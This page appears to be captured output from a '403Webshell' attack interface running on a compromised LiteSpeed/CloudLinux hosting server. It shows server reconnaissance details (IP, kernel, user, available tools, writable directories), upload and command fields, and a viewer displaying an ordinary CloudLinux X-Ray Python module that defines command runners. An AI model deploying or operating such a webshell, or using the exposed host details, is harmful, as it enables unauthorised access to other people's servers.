403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.15.7.155
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/xray/console_utils/run_user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/xray/console_utils/run_user/runners.py
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
This module contains end-user runners for X Ray
"""
import logging
from argparse import Namespace, ArgumentParser
from dataclasses import dataclass, field
from typing import Callable, Optional

from xray import gettext as _
from xray.internal.exceptions import XRayError

from ..cmdline_parser import cmd_parser_user_manager, cmd_parser_adviser
from ..validations import validate_user, validate_adviser

logger = logging.getLogger('runners')


@dataclass
class Runner:
    """Runner dataclass"""
    name: str
    target: str
    args_parser: Callable[[], ArgumentParser]
    validator: Callable[[dict], Namespace]
    option_cast: Optional[dict] = field(default_factory=dict)


manager_runner = Runner('manager', 'cloudlinux-xray-manager',
                        cmd_parser_user_manager, validate_user)
adviser_runner = Runner('smart_advice', 'cl-smart-advice',
                        cmd_parser_adviser, validate_adviser,
                        option_cast={
                            'api_version': lambda x: x.replace('_', '-'),
                            'ignore_errors': lambda x: x.replace('_', '-'),
                            'async_mode': lambda x: x.rstrip('_mode')})

runners = {
    'manager': manager_runner,
    'smart_advice': adviser_runner
}


def get_runner(name: str) -> Optional[Runner]:
    """Get appropriate runner by name"""
    runner = runners.get(name)
    logger.debug('Runner is %s', runner)
    if runner is None:
        raise XRayError(_('Unknown runner'))
    return runner

Youez - 2016 - github.com/yon3zu
LinuXploit